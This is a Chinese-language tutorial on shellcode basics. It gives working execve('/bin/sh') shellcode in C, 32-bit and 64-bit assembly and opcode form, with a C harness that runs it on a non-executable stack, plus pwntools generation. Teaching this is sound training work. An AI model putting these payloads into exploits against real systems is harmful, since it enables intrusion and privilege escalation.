Shellcode基础

温馨提示:点击页面下方以展开或折叠目录~

Shellcode基础

基本原理

  • shellcode通常是一小段用于利用软件漏洞的机器代码,目的是为了获得目标机器的shell
  • 本地shellcode常用于提权,攻击者利用高权限程序中的漏洞获得与目标进程相同的权限
  • 远程shellcode通过TCP/IP套接字为攻击者提供shell访问(反弹shell、绑定shell、套接字重用shell)
  • shellcode可分段执行,由一段短的shellcode去加载一段复杂的shellcode

编写

C语言

  • C编写简单shellcode
1
2
3
4
5
6
7
# include "stdlib.h"
# include "unistd.h"

int main() {
system("/bin/sh");
exit(0);
}
  • 执行效果如下,可以看到已经拿到shell

image

  • C语言使用内联汇编方式调用shellcode,使用的shellcode为汇编生成的opcode(先看汇编那一节)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include "stdio.h"
#include <string.h>

char shellcode[] = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

int main() {
printf("Shellcode length: %d bytes\n", strlen(shellcode));

(*(void(*)()) shellcode)();

/*
__asm__("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp\n\t"
"call shellcode");
*/
return 0;
}
1
2
# -z execstack用于禁用NX保护机制
gcc -m32 -z execstack shellcode.c -o shellcode

汇编

  • 21个字节实现execve("/bin/sh")的Linux 32位程序(2种都可以)
1
2
3
4
5
6
7
8
9
10
11
12
; shell1
global_start
section .text

_start:
push 0x68732f ; "/sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ebx="/bin/sh"
xor ecx, ecx ; ecx=0
xor edx, edx ; edx=0
mov eax, 0xb ; system_number
int 0x80 ; 软中断
1
2
3
4
5
6
7
8
9
10
11
12
13
;shell2
global_start
section .text

_start:
xor ecx, ecx ; ecx=0
mul ecx ; eax=0 edx=0
mov al, 11 ; execve syscall number
push ecx
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; pointer
int 0x80

push的理解

  • /bin/sh用16进制表示为2f62696e2f7368
  • 由于是小端序,因此/sh=0x68 0x73 0x2f,由于不足4个字节,用'/' (0x2f)补足即"//sh" = 0x68732f2f
  • 同理,"/bin" = 0x6e69622f
  • 压栈顺序:h >> s >> / >> / >> n >> i >> b >> /

xor的理解

  • shellcode中不能包含NULL,因为NULL会将字符串操作函数阶段,这样执行的shellcode就会被截断
  • xor ecx, ecx用于替换mov ecx, 0x00

寄存器的理解

  • mov ebx, esp:将栈顶指针赋给ebx
  • mov eax, 0xb:0xb = 11,execve的系统调用号为11
  • xor ecx(edx), ecx(edx):清空ecxedx寄存器

软中断

由于一般shellcode有长度限制而且我们不知道系统函数地址,无法直接调用

  • 触发中断(int 0x80或者syscall)进行系统调用
  • system("/bin/sh")底层是调用execve("/bin/sh",0,0)
1
2
3
4
5
6
7
8
# 编译
nasm -f elf32 shell.asm
# 使用ld进行链接获得shell
ld -m elf_i386 shell.o -o shell
# 执行shell已经可以拿到shell
./shell
# 查看shell的操作码
objdump -d shell

image

因此shellcode"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\xcd\x80"

shell2shellcode"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

gdb详细信息如下

image

  • Linux 64位 shellcode30字节
1
2
3
4
5
6
7
8
9
10
11
12
13
14
global _start
section .text

_start:
xor rdx, rdx
mov qword rbx, '//bin/sh'
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
  • 编译并链接
1
2
3
# 注意现在是64位了
nasm -f elf64 shell_64bit.asm
ld -m elf_x86_64 shell_64bit.o -o shell_64bit

image

python

  • 使用pwntools生成shellcode
1
2
3
from pwn import *
context(log_level='debug', arch='i386', os='linux')
shellcode=asm(shellcraft.sh())

image